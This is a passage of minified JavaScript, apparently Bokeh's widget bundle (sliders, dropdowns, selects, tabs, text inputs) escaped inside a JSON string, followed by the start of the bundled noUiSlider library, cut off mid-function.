i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"DateSlider\\\",this.prototype.default_view=s,this.override({format:\\\"%d %b %Y\\\"})},t.prototype._formatter=function(t,e){return r(t,e)},t}(o.AbstractSlider);(n.DateSlider=a).initClass()},411:function(t,e,n){var i=t(391),r=t(416),o=t(5),s=t(15),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.render=function(){e.prototype.render.call(this);var t=o.div();this.model.render_as_text?t.textContent=this.model.text:t.innerHTML=this.model.text,this.markupEl.appendChild(t)},t}(r.MarkupView);n.DivView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Div\\\",this.prototype.default_view=a,this.define({render_as_text:[s.Bool,!1]})},t}(r.Markup);(n.Div=l).initClass()},412:function(t,e,n){var i=t(391),h=t(5),r=t(400),o=t(15),s=t(401),a=function(d){function t(){return null!==d&&d.apply(this,arguments)||this}return i.__extends(t,d),t.prototype.connect_signals=function(){var t=this;d.prototype.connect_signals.call(this),r.clear_menus.connect(function(){return t._clear_menu()})},t.prototype.render=function(){var e=this;if(d.prototype.render.call(this),this.model.is_split_button){this.el.classList.add(\\\"bk-bs-btn-group\\\");var t=this._render_button(h.span({class:\\\"bk-bs-caret\\\"}));t.classList.add(\\\"bk-bs-dropdown-toggle\\\"),t.addEventListener(\\\"click\\\",function(t){return e._caret_click(t)}),this.el.appendChild(t)}else this.el.classList.add(\\\"bk-bs-dropdown\\\"),this.buttonEl.classList.add(\\\"bk-bs-dropdown-toggle\\\"),this.buttonEl.appendChild(h.span({class:\\\"bk-bs-caret\\\"}));this.model.active&&this.el.classList.add(\\\"bk-bs-open\\\");for(var n=[],i=0,r=this.model.menu;i<r.length;i++){var o=r[i],s=void 0;if(null!=o){var a=o[0],l=o[1],u=h.a({},a);u.dataset.value=l,u.addEventListener(\\\"click\\\",function(t){return e._item_click(t)}),s=h.li({},u)}else s=h.li({class:\\\"bk-bs-divider\\\"});n.push(s)}var c=h.ul({class:\\\"bk-bs-dropdown-menu\\\"},n);this.el.appendChild(c)},t.prototype._clear_menu=function(){this.model.active=!1},t.prototype._toggle_menu=function(){var t=this.model.active;r.clear_menus.emit(),t||(this.model.active=!0)},t.prototype._button_click=function(t){t.preventDefault(),t.stopPropagation(),this.model.is_split_button?(this._clear_menu(),this.set_value(this.model.default_value)):this._toggle_menu()},t.prototype._caret_click=function(t){t.preventDefault(),t.stopPropagation(),this._toggle_menu()},t.prototype._item_click=function(t){t.preventDefault(),this._clear_menu(),this.set_value(t.currentTarget.dataset.value)},t.prototype.set_value=function(t){this.buttonEl.value=this.model.value=t,this.change_input()},t}(s.AbstractButtonView);n.DropdownView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Dropdown\\\",this.prototype.default_view=a,this.define({value:[o.String],default_value:[o.String],menu:[o.Array,[]]}),this.override({label:\\\"Dropdown\\\"}),this.internal({active:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"is_split_button\\\",{get:function(){return null!=this.default_value},enumerable:!0,configurable:!0}),t}(s.AbstractButton);(n.Dropdown=l).initClass()},413:function(t,e,n){var i=t(401);n.AbstractButton=i.AbstractButton;var r=t(402);n.AbstractIcon=r.AbstractIcon;var o=t(404);n.AutocompleteInput=o.AutocompleteInput;var s=t(405);n.Button=s.Button;var a=t(406);n.CheckboxButtonGroup=a.CheckboxButtonGroup;var l=t(407);n.CheckboxGroup=l.CheckboxGroup;var u=t(408);n.DatePicker=u.DatePicker;var c=t(409);n.DateRangeSlider=c.DateRangeSlider;var d=t(410);n.DateSlider=d.DateSlider;var h=t(411);n.Div=h.Div;var p=t(412);n.Dropdown=p.Dropdown;var f=t(414);n.InputWidget=f.InputWidget;var m=t(416);n.Markup=m.Markup;var v=t(417);n.MultiSelect=v.MultiSelect;var g=t(418);n.Panel=g.Panel;var y=t(419);n.Paragraph=y.Paragraph;var b=t(420);n.PasswordInput=b.PasswordInput;var _=t(421);n.PreText=_.PreText;var w=t(422);n.RadioButtonGroup=w.RadioButtonGroup;var x=t(423);n.RadioGroup=x.RadioGroup;var k=t(424);n.RangeSlider=k.RangeSlider;var S=t(425);n.Select=S.Select;var C=t(426);n.Slider=C.Slider;var E=t(427);n.Tabs=E.Tabs;var D=t(428);n.TextInput=D.TextInput;var M=t(429);n.Toggle=M.Toggle;var A=t(440);n.Widget=A.Widget},414:function(t,e,n){var i=t(391),r=t(440),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.change_input=function(){null!=this.model.callback&&this.model.callback.execute(this.model)},e}(r.WidgetView);n.InputWidgetView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"InputWidget\\\",this.prototype.default_view=s,this.define({title:[o.String,\\\"\\\"],callback:[o.Instance]})},t}(r.Widget);(n.InputWidget=a).initClass()},415:function(t,e,n){var i=t(413);n.Widgets=i;var r=t(0);r.register_models(i)},416:function(t,e,n){var i=t(391),r=t(15),o=t(5),s=t(440),a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){e.prototype.render.call(this),o.empty(this.el);var t=i.__assign({width:this.model.width+\\\"px\\\",height:this.model.height+\\\"px\\\"},this.model.style);this.markupEl=o.div({style:t}),this.el.appendChild(this.markupEl)},t}(s.WidgetView);n.MarkupView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Markup\\\",this.define({text:[r.String,\\\"\\\"],style:[r.Any,{}]})},t}(s.Widget);(n.Markup=l).initClass()},417:function(t,e,n){var i=t(391),r=t(5),s=t(44),a=t(29),o=t(15),l=t(414),u=function(o){function t(){return null!==o&&o.apply(this,arguments)||this}return i.__extends(t,o),t.prototype.initialize=function(t){o.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;o.prototype.connect_signals.call(this),this.connect(this.model.properties.value.change,function(){return t.render_selection()}),this.connect(this.model.properties.options.change,function(){return t.render()}),this.connect(this.model.properties.name.change,function(){return t.render()}),this.connect(this.model.properties.title.change,function(){return t.render()}),this.connect(this.model.properties.size.change,function(){return t.render()}),this.connect(this.model.properties.disabled.change,function(){return t.render()})},t.prototype.render=function(){var t=this;o.prototype.render.call(this),r.empty(this.el);var e=r.label({for:this.model.id},this.model.title);this.el.appendChild(e);var n=this.model.options.map(function(t){var e,n;return s.isString(t)?e=n=t:(e=t[0],n=t[1]),r.option({value:e},n)});this.selectEl=r.select({multiple:!0,class:\\\"bk-widget-form-input\\\",id:this.model.id,name:this.model.name,disabled:this.model.disabled},n),this.selectEl.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.el.appendChild(this.selectEl),this.render_selection()},t.prototype.render_selection=function(){for(var t=new a.Set(this.model.value),e=0,n=Array.from(this.el.querySelectorAll(\\\"option\\\"));e<n.length;e++){var i=n[e];i.selected=t.has(i.value)}this.selectEl.size=this.model.size},t.prototype.change_input=function(){for(var t=null!=this.el.querySelector(\\\"select:focus\\\"),e=[],n=0,i=Array.from(this.el.querySelectorAll(\\\"option\\\"));n<i.length;n++){var r=i[n];r.selected&&e.push(r.value)}this.model.value=e,o.prototype.change_input.call(this),t&&this.selectEl.focus()},t}(l.InputWidgetView);n.MultiSelectView=u;var c=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MultiSelect\\\",this.prototype.default_view=u,this.define({value:[o.Array,[]],options:[o.Array,[]],size:[o.Number,4]})},t}(l.InputWidget);(n.MultiSelect=c).initClass()},418:function(t,e,n){var i=t(391),r=t(440),o=t(15),s=t(5),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),s.empty(this.el)},e}(r.WidgetView);n.PanelView=a;var l=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Panel\\\",this.prototype.default_view=a,this.define({title:[o.String,\\\"\\\"],child:[o.Instance],closable:[o.Bool,!1]})},t}(r.Widget);(n.Panel=l).initClass()},419:function(t,e,n){var i=t(391),r=t(416),o=t(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.render=function(){e.prototype.render.call(this);var t=o.p({style:{margin:0}},this.model.text);this.markupEl.appendChild(t)},t}(r.MarkupView);n.ParagraphView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Paragraph\\\",this.prototype.default_view=s},t}(r.Markup);(n.Paragraph=a).initClass()},420:function(t,e,n){var i=t(391),r=t(428),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),this.inputEl.type=\\\"password\\\"},e}(r.TextInputView);n.PasswordInputView=o;var s=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PasswordInput\\\",this.prototype.default_view=o},t}(r.TextInput);(n.PasswordInput=s).initClass()},421:function(t,e,n){var i=t(391),r=t(416),o=t(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return i.__extends(t,e),t.prototype.render=function(){e.prototype.render.call(this);var t=o.pre({style:{overflow:\\\"auto\\\"}},this.model.text);this.markupEl.appendChild(t)},t}(r.MarkupView);n.PreTextView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"PreText\\\",this.prototype.default_view=s},t}(r.Markup);(n.PreText=a).initClass()},422:function(t,e,n){var i=t(391),c=t(5),d=t(38),r=t(15),o=t(440),s=function(u){function t(){return null!==u&&u.apply(this,arguments)||this}return i.__extends(t,u),t.prototype.initialize=function(t){u.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;u.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var t=this;u.prototype.render.call(this),c.empty(this.el);var e=c.div({class:\\\"bk-bs-btn-group\\\"});this.el.appendChild(e);for(var n=d.uniqueId(),i=this.model.active,r=this.model.labels,o=0;o<r.length;o++){var s=r[o],a=c.input({type:\\\"radio\\\",name:n,value:\\\"\\\"+o,checked:o==i});a.addEventListener(\\\"change\\\",function(){return t.change_input()});var l=c.label({class:[\\\"bk-bs-btn\\\",\\\"bk-bs-btn-\\\"+this.model.button_type]},a,s);o==i&&l.classList.add(\\\"bk-bs-active\\\"),e.appendChild(l)}},t.prototype.change_input=function(){for(var t=this.el.querySelectorAll(\\\"input\\\"),e=[],n=0;n<t.length;n++){var i=t[n];i.checked&&e.push(n)}this.model.active=e[0],null!=this.model.callback&&this.model.callback.execute(this.model)},t}(o.WidgetView);n.RadioButtonGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"RadioButtonGroup\\\",this.prototype.default_view=s,this.define({active:[r.Any,null],labels:[r.Array,[]],button_type:[r.String,\\\"default\\\"],callback:[r.Instance]})},t}(o.Widget);(n.RadioButtonGroup=a).initClass()},423:function(t,e,n){var i=t(391),c=t(5),d=t(38),r=t(15),o=t(440),s=function(u){function t(){return null!==u&&u.apply(this,arguments)||this}return i.__extends(t,u),t.prototype.initialize=function(t){u.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;u.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.render=function(){var t=this;u.prototype.render.call(this),c.empty(this.el);for(var e=d.uniqueId(),n=this.model.active,i=this.model.labels,r=0;r<i.length;r++){var o=i[r],s=c.input({type:\\\"radio\\\",name:e,value:\\\"\\\"+r});s.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.model.disabled&&(s.disabled=!0),r==n&&(s.checked=!0);var a=c.label({},s,o);if(this.model.inline)a.classList.add(\\\"bk-bs-radio-inline\\\"),this.el.appendChild(a);else{var l=c.div({class:\\\"bk-bs-radio\\\"},a);this.el.appendChild(l)}}},t.prototype.change_input=function(){for(var t=this.el.querySelectorAll(\\\"input\\\"),e=[],n=0;n<t.length;n++){var i=t[n];i.checked&&e.push(n)}this.model.active=e[0],null!=this.model.callback&&this.model.callback.execute(this.model)},t}(o.WidgetView);n.RadioGroupView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"RadioGroup\\\",this.prototype.default_view=s,this.define({active:[r.Any,null],labels:[r.Array,[]],inline:[r.Bool,!1],callback:[r.Instance]})},t}(o.Widget);(n.RadioGroup=a).initClass()},424:function(t,e,n){var i=t(391),r=t(361),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:this.model.value,step:this.model.step}},e.prototype._calc_from=function(t){return t},e}(o.AbstractSliderView);n.RangeSliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"drag\\\",e.connected=[!1,!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"RangeSlider\\\",this.prototype.default_view=s,this.override({format:\\\"0[.]00\\\"})},t.prototype._formatter=function(t,e){return r.format(t,e)},t}(o.AbstractSlider);(n.RangeSlider=a).initClass()},425:function(t,e,n){var i=t(391),a=t(5),l=t(44),r=t(14),o=t(15),s=t(414),u=function(s){function t(){return null!==s&&s.apply(this,arguments)||this}return i.__extends(t,s),t.prototype.initialize=function(t){s.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;s.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.build_options=function(t){var r=this;return t.map(function(t){var e,n;l.isString(t)?e=n=t:(e=t[0],n=t[1]);var i=r.model.value==e;return a.option({selected:i,value:e},n)})},t.prototype.render=function(){var t=this;s.prototype.render.call(this),a.empty(this.el);var e,n=a.label({for:this.model.id},this.model.title);if(this.el.appendChild(n),l.isArray(this.model.options))e=this.build_options(this.model.options);else{e=[];var i=this.model.options;for(var r in i){var o=i[r];e.push(a.optgroup({label:r},this.build_options(o)))}}this.selectEl=a.select({class:\\\"bk-widget-form-input\\\",id:this.model.id,name:this.model.name,disabled:this.model.disabled},e),this.selectEl.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.el.appendChild(this.selectEl)},t.prototype.change_input=function(){var t=this.selectEl.value;r.logger.debug(\\\"selectbox: value = \\\"+t),this.model.value=t,s.prototype.change_input.call(this)},t}(s.InputWidgetView);n.SelectView=u;var c=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Select\\\",this.prototype.default_view=u,this.define({value:[o.String,\\\"\\\"],options:[o.Any,[]]})},t}(s.InputWidget);(n.Select=c).initClass()},426:function(t,e,n){var i=t(391),r=t(361),o=t(403),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype._calc_to=function(){return{start:this.model.start,end:this.model.end,value:[this.model.value],step:this.model.step}},e.prototype._calc_from=function(t){var e=t[0];return Number.isInteger(this.model.start)&&Number.isInteger(this.model.end)&&Number.isInteger(this.model.step)?Math.round(e):e},e}(o.AbstractSliderView);n.SliderView=s;var a=function(n){function t(t){var e=n.call(this,t)||this;return e.behaviour=\\\"tap\\\",e.connected=[!0,!1],e}return i.__extends(t,n),t.initClass=function(){this.prototype.type=\\\"Slider\\\",this.prototype.default_view=s,this.override({format:\\\"0[.]00\\\"})},t.prototype._formatter=function(t,e){return r.format(t,e)},t}(o.AbstractSlider);(n.Slider=a).initClass()},427:function(t,e,n){var i=t(391),h=t(5),p=t(21),r=t(15),o=t(440),s=function(d){function t(){return null!==d&&d.apply(this,arguments)||this}return i.__extends(t,d),t.prototype.connect_signals=function(){var t=this;d.prototype.connect_signals.call(this),this.connect(this.model.properties.tabs.change,function(){return t.rebuild_child_views()}),this.connect(this.model.properties.active.change,function(){return t.render()})},t.prototype.render=function(){var r=this;d.prototype.render.call(this),h.empty(this.el);var t=this.model.tabs.length;if(0!=t){this.model.active>=t&&(this.model.active=t-1);var o=this.model.tabs.map(function(t,e){return h.li({},h.span({data:{index:e}},t.title))});o[this.model.active].classList.add(\\\"bk-bs-active\\\");var e=h.ul({class:[\\\"bk-bs-nav\\\",\\\"bk-bs-nav-tabs\\\"]},o);this.el.appendChild(e);var s=this.model.tabs.map(function(t){return h.div({class:\\\"bk-bs-tab-pane\\\"})});s[this.model.active].classList.add(\\\"bk-bs-active\\\");var n=h.div({class:\\\"bk-bs-tab-content\\\"},s);this.el.appendChild(n),e.addEventListener(\\\"click\\\",function(t){if(t.preventDefault(),t.target!=t.currentTarget){var e=t.target,n=r.model.active,i=parseInt(e.dataset.index);n!=i&&(o[n].classList.remove(\\\"bk-bs-active\\\"),s[n].classList.remove(\\\"bk-bs-active\\\"),o[i].classList.add(\\\"bk-bs-active\\\"),s[i].classList.add(\\\"bk-bs-active\\\"),r.model.active=i,null!=r.model.callback&&r.model.callback.execute(r.model))}});for(var i=0,a=p.zip(this.model.children,s);i<a.length;i++){var l=a[i],u=l[0],c=l[1];c.appendChild(this.child_views[u.id].el)}}},t}(o.WidgetView);n.TabsView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Tabs\\\",this.prototype.default_view=s,this.define({tabs:[r.Array,[]],active:[r.Number,0],callback:[r.Instance]})},t.prototype.get_layoutable_children=function(){return this.children},Object.defineProperty(t.prototype,\\\"children\\\",{get:function(){return this.tabs.map(function(t){return t.child})},enumerable:!0,configurable:!0}),t}(o.Widget);(n.Tabs=a).initClass()},428:function(t,e,n){var i=t(391),r=t(14),o=t(15),s=t(5),a=t(414),l=function(n){function t(){return null!==n&&n.apply(this,arguments)||this}return i.__extends(t,n),t.prototype.initialize=function(t){n.prototype.initialize.call(this,t),this.render()},t.prototype.connect_signals=function(){var t=this;n.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.render()})},t.prototype.css_classes=function(){return n.prototype.css_classes.call(this).concat(\\\"bk-widget-form-group\\\")},t.prototype.render=function(){var t=this;n.prototype.render.call(this),s.empty(this.el);var e=s.label({for:this.model.id},this.model.title);this.el.appendChild(e),this.inputEl=s.input({type:\\\"text\\\",class:\\\"bk-widget-form-input\\\",id:this.model.id,name:this.model.name,value:this.model.value,disabled:this.model.disabled,placeholder:this.model.placeholder}),this.inputEl.addEventListener(\\\"change\\\",function(){return t.change_input()}),this.el.appendChild(this.inputEl),this.model.height&&(this.inputEl.style.height=this.model.height-35+\\\"px\\\")},t.prototype.change_input=function(){var t=this.inputEl.value;r.logger.debug(\\\"widget/text_input: value = \\\"+t),this.model.value=t,n.prototype.change_input.call(this)},t}(a.InputWidgetView);n.TextInputView=l;var u=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TextInput\\\",this.prototype.default_view=l,this.define({value:[o.String,\\\"\\\"],placeholder:[o.String,\\\"\\\"]})},t}(a.InputWidget);(n.TextInput=u).initClass()},429:function(t,e,n){var i=t(391),r=t(401),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.render=function(){t.prototype.render.call(this),this.model.active&&this.buttonEl.classList.add(\\\"bk-bs-active\\\")},e.prototype.change_input=function(){this.model.active=!this.model.active,t.prototype.change_input.call(this)},e}(r.AbstractButtonView);n.ToggleView=s;var a=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Toggle\\\",this.prototype.default_view=s,this.define({active:[o.Bool,!1]}),this.override({label:\\\"Toggle\\\"})},t}(r.AbstractButton);(n.Toggle=a).initClass()},440:function(t,e,n){var i=t(391),r=t(157),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return i.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-widget\\\")},e.prototype.render=function(){this._render_classes(),null!=this.model.height&&(this.el.style.height=this.model.height+\\\"px\\\"),null!=this.model.width&&(this.el.style.width=this.model.width+\\\"px\\\")},e.prototype.get_width=function(){throw new Error(\\\"unused\\\")},e.prototype.get_height=function(){throw new Error(\\\"unused\\\")},e}(r.LayoutDOMView);n.WidgetView=o;var s=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Widget\\\"},t}(r.LayoutDOM);(n.Widget=s).initClass()},431:function(t,e,n){\\n\",\n       \"      /*! nouislider - 10.1.0 - 2017-07-28 17:11:18 */var i;i=function(){\\\"use strict\\\";var $=\\\"10.1.0\\\";function Q(t){t.preventDefault()}function r(t){return\\\"number\\\"==typeof t&&!isNaN(t)&&isFinite(t)}function Z(t,e,n){0<n&&(et(t,e),setTimeout(function(){nt(t,e)},n))}function tt(t){return Array.isArray(t)?t:[t]}function e(t){var e=(t=String(t)).split(\\\".\\\");return 1<e.length?e[1].length:0}function et(t,e){t.classList?t.classList.add(e):t.className+=\\\" \\\"+e}function nt(t,e){t.classList?t.classList.remove(e):t.className=t.className.replace(new RegExp(\\\"(^|\\\\\\\\b)\\\"+e.split(\\\" \\\").join(\\\"|\\\")+\\\"(\\\\\\\\b|$)\\\",\\\"gi\\\"),\\\" \\\")}function it(t){var e=void 0!==window.pageXOffset,n=\\\"CSS1Compat\\\"===(t.compatMode||\\\"\\\"),i=e?window.pageXOffset:n?t.documentElement.scrollLeft:t.body.scrollLeft,r=e?window.pageYOffset:n?t.documentElement.scrollTop:t.body.scrollTop;return{x:i,y:r}}function c(t,e){return 100/(e-t)}function d(t,e){return 100*e/(t[1]-t[0])}function h(t,e){for(var n=1;t>=e[n];)n+=1;return n}function n(t,e,n){if(n>=t.slice(-1)[0])return 100;var i,r,o,s,a,l,u=h(n,t);return i=t[u-1],r=t[u],o=e[u-1],s=e[u],o+(l=n,d(a=[i,r],a[0]<0?l+Math.abs(a[0]):l-a[0])/c(o,s))}function i(t,e,n,i){if(100===i)return i;var r,o,s,a,l=h(i,t);return n?(r=t[l-1],((o=t[l])-r)/2<i-r?o:r):e[l-1]?t[l-1]+(s=i-t[l-1],a=e[l-1],Math.round(s/a)*a):i}function o(t,e,n){var i;if(\\\"number\\\"==typeof e&&(e=[e]),\\\"[object Array]\\\"!==Object.prototype.toString.call(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' contains invalid value.\\\");if(!r(i=\\\"min\\\"===t?0:\\\"max\\\"===t?100:parseFloat(t))||!r(e[0]))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' value isn't numeric.\\\");n.xPct.push(i),n.xVal.push(e[0]),i?n.xSteps.push(!isNaN(e[1])&&e[1]):isNaN(e[1])||(n.xSteps[0]=e[1]),n.xHighestCompleteStep.push(0)}function s(t,e,n){if(!e)return!0;n.xSteps[t]=d([n.xVal[t],n.xVal[t+1]],e)/c(n.xPct[t],n.xPct[t+1]);var i=(n.xVal[t+1]-n.xVal[t])/n.xNumSteps[t],r=Math.ceil(Number(i.toFixed(3))-1),o=n.xVal[t]+n.xNumSteps[t]*r;n.xHighestCompleteStep[t]=o}function a(t,e,n){this.xPct=[],this.xVal=[],this.xSteps=[n||!1],this.xNumSteps=[!1],this.xHighestCompleteStep=[],this.snap=e;var i,r=[];for(i in t)t.hasOwnProperty(i)&&r.push([t[i],i]);for(r.length&&\\\"object\\\"==typeof r[0][0]?r.sort(function(t,e){return t[0][0]-e[0][0]}):r.sort(function(t,e){return t[0]-e[0]}),i=0;i<r.length;i++)o(r[i][1],r[i][0],this);for(this.xNumSteps=this.xSteps.slice(0),i=0;i<this.xNumSteps.length;i++)s(i,this.xNumSteps[i],this)}a.prototype.getMargin=function(t){var e=this.xNumSteps[0];if(e&&t/e%1!=0)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'limit', 'margin' and 'padding' must be divisible by step.\\\");return 2===this.xPct.length&&d(this.xVal,t)},a.prototype.toStepping=function(t){return t=n(this.xVal,this.xPct,t)},a.prototype.fromStepping=function(t){return function(t,e,n){if(100<=n)return t.slice(-1)[0];var i,r,o,s,a,l=h(n,e);return i=t[l-1],r=t[l],o=e[l-1],s=e[l],a=[i,r],(n-o)*c(o,s)*(a[1]-a[0])/100+a[0]}(this.xVal,this.xPct,t)},a.prototype.getStep=function(t){return t=i(this.xPct,this.xSteps,this.snap,t)},a.prototype.getNearbySteps=function(t){var e=h(t,this.xPct);return{stepBefore:{startValue:this.xVal[e-2],step:this.xNumSteps[e-2],highestStep:this.xHighestCompleteStep[e-2]},thisStep:{startValue:this.xVal[e-1],step:this.xNumSteps[e-1],highestStep:this.xHighestCompleteStep[e-1]},stepAfter:{startValue:this.xVal[e-0],step:this.xNumSteps[e-0],highestStep:this.xHighestCompleteStep[e-0]}}},a.prototype.countStepDecimals=function(){var t=this.xNumSteps.map(e);return Math.max.apply(null,t)},a.prototype.convert=function(t){return this.getStep(this.toStepping(t))};var l={to:function(t){return void 0!==t&&t.toFixed(2)},from:Number};function u(t){if(\\\"object\\\"==typeof(e=t)&&\\\"function\\\"==typeof e.to&&\\\"function\\\"==typeof e.from)return!0;var e;throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'format' requires 'to' and 'from' methods.\\\")}function p(t,e){if(!r(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'step' is not numeric.\\\");t.singleStep=e}function f(t,e){if(\\\"object\\\"!=typeof e||Array.isArray(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' is not an object.\\\");if(void 0===e.min||void 0===e.max)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): Missing 'min' or 'max' in 'range'.\\\");if(e.min===e.max)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'range' 'min' and 'max' cannot be equal.\\\");t.spectrum=new a(e,t.snap,t.singleStep)}function m(t,e){if(e=tt(e),!Array.isArray(e)||!e.length)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'start' option is incorrect.\\\");t.handles=e.length,t.start=e}function v(t,e){if(\\\"boolean\\\"!=typeof(t.snap=e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'snap' option must be a boolean.\\\")}function g(t,e){if(\\\"boolean\\\"!=typeof(t.animate=e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'animate' option must be a boolean.\\\")}function y(t,e){if(\\\"number\\\"!=typeof(t.animationDuration=e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'animationDuration' option must be a number.\\\")}function b(t,e){var n,i=[!1];if(\\\"lower\\\"===e?e=[!0,!1]:\\\"upper\\\"===e&&(e=[!1,!0]),!0===e||!1===e){for(n=1;n<t.handles;n++)i.push(e);i.push(!1)}else{if(!Array.isArray(e)||!e.length||e.length!==t.handles+1)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'connect' option doesn't match handle count.\\\");i=e}t.connect=i}function _(t,e){switch(e){case\\\"horizontal\\\":t.ort=0;break;case\\\"vertical\\\":t.ort=1;break;default:throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'orientation' option is invalid.\\\")}}function w(t,e){if(!r(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'margin' option must be numeric.\\\");if(0!==e&&(t.margin=t.spectrum.getMargin(e),!t.margin))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'margin' option is only supported on linear sliders.\\\")}function x(t,e){if(!r(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'limit' option must be numeric.\\\");if(t.limit=t.spectrum.getMargin(e),!t.limit||t.handles<2)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'limit' option is only supported on linear sliders with 2 or more handles.\\\")}function k(t,e){if(!r(e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'padding' option must be numeric.\\\");if(0!==e){if(t.padding=t.spectrum.getMargin(e),!t.padding)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'padding' option is only supported on linear sliders.\\\");if(t.padding<0)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'padding' option must be a positive number.\\\");if(50<=t.padding)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'padding' option must be less than half the range.\\\")}}function S(t,e){switch(e){case\\\"ltr\\\":t.dir=0;break;case\\\"rtl\\\":t.dir=1;break;default:throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'direction' option was not recognized.\\\")}}function C(t,e){if(\\\"string\\\"!=typeof e)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'behaviour' must be a string containing options.\\\");var n=0<=e.indexOf(\\\"tap\\\"),i=0<=e.indexOf(\\\"drag\\\"),r=0<=e.indexOf(\\\"fixed\\\"),o=0<=e.indexOf(\\\"snap\\\"),s=0<=e.indexOf(\\\"hover\\\");if(r){if(2!==t.handles)throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'fixed' behaviour must be used with 2 handles\\\");w(t,t.start[1]-t.start[0])}t.events={tap:n||o,drag:i,fixed:r,snap:o,hover:s}}function E(t,e){if(\\\"boolean\\\"!=typeof(t.multitouch=e))throw new Error(\\\"noUiSlider (\\\"+$+\\\"): 'multitouch' option must be a boolean.\\\")}function D(t,e){if(!1!==e)if(!0===e){t.tooltips=[];for(var 